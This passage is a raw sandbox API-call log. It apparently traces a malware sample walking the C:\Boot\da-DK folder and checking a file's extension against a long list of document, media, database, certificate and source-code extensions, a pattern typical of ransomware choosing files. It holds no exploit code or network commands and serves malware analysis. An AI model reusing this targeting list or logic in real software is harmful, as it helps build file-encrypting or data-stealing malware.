lpString2="da-DK") returned -1 [0039.482] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.482] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0039.482] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.482] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.482] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.482] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.482] lstrlenW (lpString=".1cd") returned 4 [0039.482] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.482] lstrlenW (lpString=".3ds") returned 4 [0039.482] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0039.482] lstrlenW (lpString=".3fr") returned 4 [0039.482] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0039.482] lstrlenW (lpString=".3g2") returned 4 [0039.482] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0039.482] lstrlenW (lpString=".3gp") returned 4 [0039.482] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0039.482] lstrlenW (lpString=".7z") returned 3 [0039.482] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.482] lstrlenW (lpString=".accda") returned 6 [0039.482] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0039.482] lstrlenW (lpString=".accdb") returned 6 [0039.482] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0039.483] lstrlenW (lpString=".accdc") returned 6 [0039.483] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0039.483] lstrlenW (lpString=".accde") returned 6 [0039.483] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0039.483] lstrlenW (lpString=".accdt") returned 6 [0039.483] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0039.483] lstrlenW (lpString=".accdw") returned 6 [0039.483] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0039.483] lstrlenW (lpString=".adb") returned 4 [0039.483] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".adp") returned 4 [0039.483] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai") returned 3 [0039.483] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0039.483] lstrlenW (lpString=".ai3") returned 4 [0039.483] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai4") returned 4 [0039.483] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai5") returned 4 [0039.483] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai6") returned 4 [0039.483] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai7") returned 4 [0039.483] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".ai8") returned 4 [0039.483] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".anim") returned 5 [0039.483] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0039.483] lstrlenW (lpString=".arw") returned 4 [0039.483] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0039.483] lstrlenW (lpString=".as") returned 3 [0039.483] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0039.484] lstrlenW (lpString=".asa") returned 4 [0039.484] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".asc") returned 4 [0039.484] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".ascx") returned 5 [0039.484] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0039.484] lstrlenW (lpString=".asm") returned 4 [0039.484] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".asmx") returned 5 [0039.484] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0039.484] lstrlenW (lpString=".asp") returned 4 [0039.484] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".aspx") returned 5 [0039.484] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0039.484] lstrlenW (lpString=".asr") returned 4 [0039.484] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".asx") returned 4 [0039.484] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".avi") returned 4 [0039.484] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".avs") returned 4 [0039.484] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".backup") returned 7 [0039.484] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0039.484] lstrlenW (lpString=".bak") returned 4 [0039.484] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".bay") returned 4 [0039.484] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".bd") returned 3 [0039.484] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0039.484] lstrlenW (lpString=".bin") returned 4 [0039.484] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0039.484] lstrlenW (lpString=".bmp") returned 4 [0039.484] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".bz2") returned 4 [0039.485] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".c") returned 2 [0039.485] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0039.485] lstrlenW (lpString=".cdr") returned 4 [0039.485] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cer") returned 4 [0039.485] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cf") returned 3 [0039.485] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0039.485] lstrlenW (lpString=".cfc") returned 4 [0039.485] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cfm") returned 4 [0039.485] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cfml") returned 5 [0039.485] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0039.485] lstrlenW (lpString=".cfu") returned 4 [0039.485] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".chm") returned 4 [0039.485] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cin") returned 4 [0039.485] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".class") returned 6 [0039.485] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0039.485] lstrlenW (lpString=".clx") returned 4 [0039.485] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".config") returned 7 [0039.485] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0039.485] lstrlenW (lpString=".cpp") returned 4 [0039.485] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".cr2") returned 4 [0039.485] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0039.485] lstrlenW (lpString=".crt") returned 4 [0039.486] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".crw") returned 4 [0039.486] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".cs") returned 3 [0039.486] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0039.486] lstrlenW (lpString=".css") returned 4 [0039.486] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".csv") returned 4 [0039.486] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".cub") returned 4 [0039.486] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dae") returned 4 [0039.486] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dat") returned 4 [0039.486] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".db") returned 3 [0039.486] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0039.486] lstrlenW (lpString=".dbf") returned 4 [0039.486] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dbx") returned 4 [0039.486] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dc3") returned 4 [0039.486] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dcm") returned 4 [0039.486] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dcr") returned 4 [0039.486] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".der") returned 4 [0039.486] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dib") returned 4 [0039.486] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dic") returned 4 [0039.486] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0039.486] lstrlenW (lpString=".dif") returned 4 [0039.487] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".divx") returned 5 [0039.487] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".djvu") returned 5 [0039.487] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".dng") returned 4 [0039.487] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".doc") returned 4 [0039.487] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".docm") returned 5 [0039.487] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".docx") returned 5 [0039.487] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".dot") returned 4 [0039.487] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dotm") returned 5 [0039.487] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".dotx") returned 5 [0039.487] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0039.487] lstrlenW (lpString=".dpx") returned 4 [0039.487] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dqy") returned 4 [0039.487] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dsn") returned 4 [0039.487] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dt") returned 3 [0039.487] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0039.487] lstrlenW (lpString=".dtd") returned 4 [0039.487] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dwg") returned 4 [0039.487] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0039.487] lstrlenW (lpString=".dwt") returned 4 [0039.488] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".dx") returned 3 [0039.488] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0039.488] lstrlenW (lpString=".dxf") returned 4 [0039.488] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".edml") returned 5 [0039.488] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0039.488] lstrlenW (lpString=".efd") returned 4 [0039.488] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".elf") returned 4 [0039.488] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".emf") returned 4 [0039.488] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".emz") returned 4 [0039.488] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".epf") returned 4 [0039.488] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".eps") returned 4 [0039.488] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0039.488] lstrlenW (lpString=".epsf") returned 5 [0039.488] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0039.488] lstrlenW (lpString=".epsp") returned 5 [0039.488] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0039.488] lstrlenW (lpString=".erf") returned 4 [0039.488] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".exr") returned 4 [0039.489] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".f4v") returned 4 [0039.489] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".fido") returned 5 [0039.489] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0039.489] lstrlenW (lpString=".flm") returned 4 [0039.489] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".flv") returned 4 [0039.489] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".frm") returned 4 [0039.489] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".fxg") returned 4 [0039.489] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".geo") returned 4 [0039.489] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".gif") returned 4 [0039.489] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".grs") returned 4 [0039.489] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0039.489] lstrlenW (lpString=".gz") returned 3 [0039.489] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0039.489] lstrlenW (lpString=".h") returned 2 [0039.489] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0039.489] lstrlenW (lpString=".hdr") returned 4 [0039.489] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".hpp") returned 4 [0039.490] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".hta") returned 4 [0039.490] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".htc") returned 4 [0039.490] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".htm") returned 4 [0039.490] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".html") returned 5 [0039.490] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0039.490] lstrlenW (lpString=".icb") returned 4 [0039.490] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".ics") returned 4 [0039.490] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".iff") returned 4 [0039.490] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".inc") returned 4 [0039.490] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".indd") returned 5 [0039.490] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0039.490] lstrlenW (lpString=".ini") returned 4 [0039.490] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".iqy") returned 4 [0039.490] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".j2c") returned 4 [0039.490] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0039.490] lstrlenW (lpString=".j2k") returned 4 [0039.491] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".java") returned 5 [0039.491] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0039.491] lstrlenW (lpString=".jp2") returned 4 [0039.491] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".jpc") returned 4 [0039.491] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".jpe") returned 4 [0039.491] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".jpeg") returned 5 [0039.491] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0039.491] lstrlenW (lpString=".jpf") returned 4 [0039.491] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".jpg") returned 4 [0039.491] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".jpx") returned 4 [0039.491] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".js") returned 3 [0039.491] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0039.491] lstrlenW (lpString=".jsf") returned 4 [0039.491] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".json") returned 5 [0039.491] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0039.491] lstrlenW (lpString=".jsp") returned 4 [0039.491] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".kdc") returned 4 [0039.491] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0039.491] lstrlenW (lpString=".kmz") returned 4 [0039.491] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".kwm") returned 4 [0039.492] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".lasso") returned 6 [0039.492] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0039.492] lstrlenW (lpString=".lbi") returned 4 [0039.492] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".lgf") returned 4 [0039.492] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".lgp") returned 4 [0039.492] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".log") returned 4 [0039.492] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".m1v") returned 4 [0039.492] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".m4a") returned 4 [0039.492] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".m4v") returned 4 [0039.492] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".max") returned 4 [0039.492] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".md") returned 3 [0039.492] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0039.492] lstrlenW (lpString=".mda") returned 4 [0039.492] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".mdb") returned 4 [0039.492] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".mde") returned 4 [0039.492] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".mdf") returned 4 [0039.492] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".mdw") returned 4 [0039.492] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0039.492] lstrlenW (lpString=".mef") returned 4 [0039.493] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mft") returned 4 [0039.493] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mfw") returned 4 [0039.493] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mht") returned 4 [0039.493] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mhtml") returned 6 [0039.493] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0039.493] lstrlenW (lpString=".mka") returned 4 [0039.493] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mkidx") returned 6 [0039.493] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0039.493] lstrlenW (lpString=".mkv") returned 4 [0039.493] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mos") returned 4 [0039.493] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mov") returned 4 [0039.493] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mp3") returned 4 [0039.493] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mp4") returned 4 [0039.493] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mpeg") returned 5 [0039.493] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0039.493] lstrlenW (lpString=".mpg") returned 4 [0039.493] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mpv") returned 4 [0039.493] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".mrw") returned 4 [0039.493] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0039.493] lstrlenW (lpString=".msg") returned 4 [0039.493] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0039.494] lstrlenW (lpString=".mxl") returned 4 [0039.494] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".myd") returned 4 [0039.494] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".myi") returned 4 [0039.494] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".nef") returned 4 [0039.494] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".nrw") returned 4 [0039.494] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".obj") returned 4 [0039.494] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".odb") returned 4 [0039.494] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".odc") returned 4 [0039.494] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".odm") returned 4 [0039.494] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".odp") returned 4 [0039.494] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".ods") returned 4 [0039.494] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".oft") returned 4 [0039.494] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0039.494] lstrlenW (lpString=".one") returned 4 [0039.550] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0039.550] lstrlenW (lpString=".onepkg") returned 7 [0039.550] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0039.551] lstrlenW (lpString=".onetoc2") returned 8 [0039.551] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0039.551] lstrlenW (lpString=".opt") returned 4 [0039.551] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".oqy") returned 4 [0039.551] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".orf") returned 4 [0039.551] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".p12") returned 4 [0039.551] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".p7b") returned 4 [0039.551] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".p7c") returned 4 [0039.551] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".pam") returned 4 [0039.551] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".pbm") returned 4 [0039.551] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".pct") returned 4 [0039.551] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".pcx") returned 4 [0039.551] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0039.551] lstrlenW (lpString=".pdd") returned 4 [0039.552] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pdf") returned 4 [0039.552] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pdp") returned 4 [0039.552] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pef") returned 4 [0039.552] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pem") returned 4 [0039.552] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pff") returned 4 [0039.552] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pfm") returned 4 [0039.552] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pfx") returned 4 [0039.552] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".pgm") returned 4 [0039.552] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".php") returned 4 [0039.552] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0039.552] lstrlenW (lpString=".php3") returned 5 [0039.552] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0039.552] lstrlenW (lpString=".php4") returned 5 [0039.552] lstrcmpiW (lpString1=".php4", lpString2="e.mui") 